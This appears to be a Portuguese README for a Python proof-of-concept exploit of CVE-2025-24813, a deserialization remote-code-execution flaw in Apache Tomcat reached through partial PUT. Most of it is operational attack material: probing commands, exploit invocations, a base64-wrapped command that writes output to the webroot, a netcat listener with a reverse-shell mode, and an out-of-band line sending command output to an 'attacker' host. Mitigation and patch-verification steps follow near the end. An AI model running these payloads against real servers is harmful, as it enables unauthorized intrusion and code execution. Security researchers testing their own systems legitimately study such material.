PoC em Python que explora o CVE-2025-24813, um RCE de desserialização via PUT parcial no Apache Tomcat. Detecta automaticamente variantes vulneráveis, suporta execução de comandos às cegas e reverse shells.
Severidade: Crítica (CVSS 9.8) Autenticação necessária: Nenhuma Afetados: Apache Tomcat 9.0.0.M1 – 9.0.98 / 10.1.0-M1 – 10.1.34 / 11.0.0-M1 – 11.0.2 Corrigido em: Tomcat 9.0.99 / 10.1.35 / 11.0.3
O Apache Tomcat suporta partial PUT (upload em chunks via Content-Range).
Quando um partial PUT chega, o Tomcat armazena o corpo em um arquivo temporário sob:
$CATALINA_HOME/work/…/<url-path-filename>
Se a aplicação estiver configurada com PersistentManager + FileStore no context.xml,
o Tomcat lê automaticamente arquivos *.session do mesmo diretório de trabalho e os
para restaurar sessões.
Combinando esses dois comportamentos:
PUT /<sid>.session → grava payload serializado em Java em work/<sid>.session
GET / Cookie: JSESSIONID=.<sid> → Tomcat carrega e desserializa o arquivo → RCE
O ponto inicial (.) no valor do cookie dispara a busca de sessão por caminho absoluto
(variante B), que é o caminho que alcança o arquivo armazenado de forma confiável.
Este PoC usa CommonsCollections6 do ysoserial,
que funciona em Java 8–17 sem flags @jdk.internal e não depende de
sun.reflect.SerializationConstructorAccessorImpl.
ObjectInputStream.readObject()
└─ HashSet.readObject()
└─ TiedMapEntry.hashCode()
└─ LazyMap.get()
└─ ChainedTransformer.transform()
└─ InvokerTransformer → Runtime.exec(command)
curl -sI http://target:9090/ | grep -i server
# Look for: Apache-Coyote/1.1 or Apache Tomcat
curl -s -o /dev/null -w "%{http_code}" \
-X PUT "http://target:9090/test.session" \
-H "Content-Range: bytes 0-9/200" \
-H "Content-Type: application/octet-stream" \
--data-binary "AAAAAAAAAA"
# 201 Created = partial PUT enabled (vulnerable prerequisite met)
# 403/405 = partial PUT disabled (not vulnerable via this path)
python3 autopwn.py http://target:9090 --command "id"
# Vulnerable → one line shows GET=500 + "<<<< 500 = FIRED!"
# Not vuln → all lines show GET=200, no 500
[*] path=/{sid}.session PUT=201 cookie=JSESSIONID=pwn1 [A(no-dot)] GET=200
[*] path=/{sid}.session PUT=201 cookie=JSESSIONID=.pwn2 [B(dot-prefix)] GET=500 <<<< 500 = FIRED!
[*] path=/uploads/../sessions/{sid}.session PUT=409 cookie=JSESSIONID=pwn3 [A(no-dot)] GET=200
...
[+] Target is VULNERABLE! Winning variant: B(dot-prefix)
upload path : /{sid}.session
trigger : Cookie: JSESSIONID=.pwn2
| Status | Significado |
|---|---|
| PUT 201 | Arquivo armazenado no diretório de trabalho do Tomcat |
| PUT 409 | Caminho bloqueado (travessia rejeitada) |
| GET 200 | Sessão não encontrada / não desserializada |
| GET 500 | Desserialização disparada → RCE |
O upload é um fluxo serializado Java binário bruto — sem codificação de URL. Diferente de exploits de parâmetros de consulta HTTP, o payload vai no corpo da requisição via PUT, então não há camada de codificação de URL para lidar:
PUT /{sid}.session HTTP/1.1
Content-Type: application/octet-stream
Content-Range: bytes 0-1274/1375
\xac\xed\x00\x05\x73\x72... (raw serialized bytes — CommonsCollections6)
O cabeçalho Content-Range sinaliza um upload parcial; o Tomcat grava o corpo em disco
como está, preservando cada byte do payload serializado.
pip install requests
# Java runtime in PATH
# ysoserial.jar in current directory (or pass --ysoserial <path>)
python3 autopwn.py http://192.168.61.148:9090 --command "id"
# Build base64-wrapped command (avoids shell-splitting in Runtime.exec)
CMD='id > /usr/local/tomcat/webapps/ROOT/idout.txt'
B64=$(echo -n "$CMD" | base64 -w0)
python3 autopwn.py http://192.168.61.148:9090 \
--command "bash -c {echo,$B64}|{base64,-d}|bash"
# Fetch the result
curl http://192.168.61.148:9090/idout.txt
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — fire (script auto-builds the base64 revshell payload)
python3 autopwn.py http://192.168.61.148:9090 \
--revshell --lhost 192.168.61.10 --lport 4444
O script detecta automaticamente a variante A/B, para após o primeiro acerto e imprime o caminho vencedor para que você saiba exatamente o que funcionou.
positional arguments:
target Target base URL (e.g. http://192.168.61.148:9090)
options:
--command CMD Command to execute (blind mode, default: id)
--revshell Send reverse shell instead of blind command
--lhost LHOST Listener IP (required with --revshell)
--lport LPORT Listener port (required with --revshell)
--gadget GADGET ysoserial gadget chain (default: CommonsCollections6)
--ysoserial PATH Path to ysoserial jar (default: ysoserial.jar)
--sid SID Session ID prefix for upload filenames (default: pwn)
--no-ssl-verify Disable SSL certificate verification
CVE-2025-24813 é cego — Runtime.exec() executa o comando, mas seu stdout/stderr
são descartados; a resposta HTTP apenas reflete se a desserialização teve sucesso (500)
ou não (200).
Três formas de obter saída:
| Método | Como |
|---|---|
| Arquivo no webroot | Redirecionar saída para um arquivo em /…/webapps/ROOT/, buscar via HTTP |
| Reverse shell | Flag --revshell — obter um shell interativo, executar qualquer comando ao vivo |
| DNS/OOB | `curl http://attacker/$(id |
| Branch | Vulnerável | Corrigido |
|---|---|---|
| 9.x | 9.0.0.M1 – 9.0.98 | 9.0.99+ |
| 10.1.x | 10.1.0-M1 – 10.1.34 | 10.1.35+ |
| 11.x | 11.0.0-M1 – 11.0.2 | 11.0.3+ |
# Check installed version
$CATALINA_HOME/bin/catalina.sh version | grep "Server version"
Em $CATALINA_HOME/conf/web.xml, encontre o init-param do DefaultServlet e defina:
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
Ou desabilite o PersistentManager no context.xml se não for necessário:
<!-- Remove or comment out: -->
<!-- <Manager className="org.apache.catalina.session.PersistentManager"> -->
<!-- <Store className="org.apache.catalina.session.FileStore"/> -->
<!-- </Manager> -->
# Partial PUT should now return 403 or 405
curl -s -o /dev/null -w "%{http_code}" \
-X PUT "http://target:9090/test.session" \
-H "Content-Range: bytes 0-9/200" \
-H "Content-Type: application/octet-stream" \
--data-binary "AAAAAAAAAA"
# Patched → 403 / 405
# Vulnerable → 201
# Re-run PoC — must not fire
python3 autopwn.py http://target:9090 --command "id"
# Patched → all GET=200, no 500
Apenas para testes de segurança autorizados e fins educacionais.